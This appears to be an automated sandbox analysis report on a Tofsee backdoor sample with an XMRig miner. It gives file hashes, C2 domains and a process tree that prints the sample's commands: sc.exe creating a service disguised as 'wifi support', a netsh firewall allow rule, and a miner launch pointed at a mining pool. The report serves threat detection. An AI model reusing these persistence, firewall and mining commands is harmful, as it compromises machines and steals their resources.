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Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-1703_x64
  • resource
    win10-20220812-en
  • resource tags

    arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
  • submitted
    06/01/2023, 11:11

General

  • Target

    93cb2741e6805e68eb87266ec29e21f7138e609d4940edb1bdbafa47426ea0f5.exe

  • Size

    312KB

  • MD5

    ef8b14df3ec4cfe498948989a77910ad

  • SHA1

    48cd7aa491bf373f6e959178ef5fd8d9ba688c82

  • SHA256

    93cb2741e6805e68eb87266ec29e21f7138e609d4940edb1bdbafa47426ea0f5

  • SHA512

    bc00dc1ad7825bab55349e47aaff03102545374f82e777f6e96b7e16f88236d9fca3766c07bc9e9470d2e32b38386e6eb57c62750b137a85f1cd4beaee9cc90e

  • SSDEEP

    6144:2S7LKg5EpQN8fYMQTEFEIg8XfVMqdWKQphEUor:2S7eg5fPMh9XdMkb/Uo

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\93cb2741e6805e68eb87266ec29e21f7138e609d4940edb1bdbafa47426ea0f5.exe
    "C:\Users\Admin\AppData\Local\Temp\93cb2741e6805e68eb87266ec29e21f7138e609d4940edb1bdbafa47426ea0f5.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5004
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\oejghcfm\
      2⤵
        PID:1456
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\coxlkgpu.exe" C:\Windows\SysWOW64\oejghcfm\
        2⤵
          PID:4560
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create oejghcfm binPath= "C:\Windows\SysWOW64\oejghcfm\coxlkgpu.exe /d\"C:\Users\Admin\AppData\Local\Temp\93cb2741e6805e68eb87266ec29e21f7138e609d4940edb1bdbafa47426ea0f5.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4672
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description oejghcfm "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2144
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start oejghcfm
          2⤵
          • Launches sc.exe
          PID:3324
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4332
      • C:\Windows\SysWOW64\oejghcfm\coxlkgpu.exe
        C:\Windows\SysWOW64\oejghcfm\coxlkgpu.exe /d"C:\Users\Admin\AppData\Local\Temp\93cb2741e6805e68eb87266ec29e21f7138e609d4940edb1bdbafa47426ea0f5.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3988
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4772
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4112

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\coxlkgpu.exe

        Filesize

        13.4MB

        MD5

        2eee302d673d616eb754ed22973f9fdd

        SHA1

        c3a2ee183efa486065c514f56e1fe1b217d873ae

        SHA256

        fde39bc54d2cec59ad9b094e089ae07c74398c7802667048747e7054ca239256

        SHA512

        c8b8a5fbaaf2731113f154ce9fde5be7b552def4c8107bf60c3abccf2dbbc3faf5c27590e8197e8772e8ad742ea834015e3f9e5e1a21cf44f888223d550d6dc4

      • C:\Windows\SysWOW64\oejghcfm\coxlkgpu.exe

        Filesize

        13.4MB

        MD5

        2eee302d673d616eb754ed22973f9fdd

        SHA1

        c3a2ee183efa486065c514f56e1fe1b217d873ae

        SHA256

        fde39bc54d2cec59ad9b094e089ae07c74398c7802667048747e7054ca239256

        SHA512

        c8b8a5fbaaf2731113f154ce9fde5be7b552def4c8107bf60c3abccf2dbbc3faf5c27590e8197e8772e8ad742ea834015e3f9e5e1a21cf44f888223d550d6dc4

      • memory/1456-168-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/1456-167-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/1456-169-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/1456-170-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/1456-171-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/3988-360-0x0000000000400000-0x0000000002C3F000-memory.dmp

        Filesize

        40.2MB

      • memory/4560-175-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/4560-176-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/4560-182-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/4560-173-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/4560-174-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/4672-178-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/4672-183-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/4672-180-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/4672-179-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/4672-181-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/4672-185-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/4672-186-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/4772-435-0x0000000000970000-0x0000000000985000-memory.dmp

        Filesize

        84KB

      • memory/4772-482-0x0000000000970000-0x0000000000985000-memory.dmp

        Filesize

        84KB

      • memory/5004-136-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-141-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-148-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-150-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-149-0x0000000003080000-0x0000000003093000-memory.dmp

        Filesize

        76KB

      • memory/5004-151-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-152-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-153-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-154-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-155-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-156-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-157-0x0000000000400000-0x0000000002C3F000-memory.dmp

        Filesize

        40.2MB

      • memory/5004-158-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-159-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-160-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-161-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-162-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-163-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-164-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-165-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-146-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-145-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-144-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-143-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-142-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-147-0x0000000002C40000-0x0000000002D8A000-memory.dmp

        Filesize

        1.3MB

      • memory/5004-140-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-139-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-138-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-137-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-115-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-135-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-134-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-133-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-132-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-131-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-130-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-128-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-127-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-126-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-125-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-124-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-123-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-122-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-121-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-220-0x0000000003080000-0x0000000003093000-memory.dmp

        Filesize

        76KB

      • memory/5004-228-0x0000000000400000-0x0000000002C3F000-memory.dmp

        Filesize

        40.2MB

      • memory/5004-120-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-119-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-118-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-117-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB

      • memory/5004-116-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

        Filesize

        1.6MB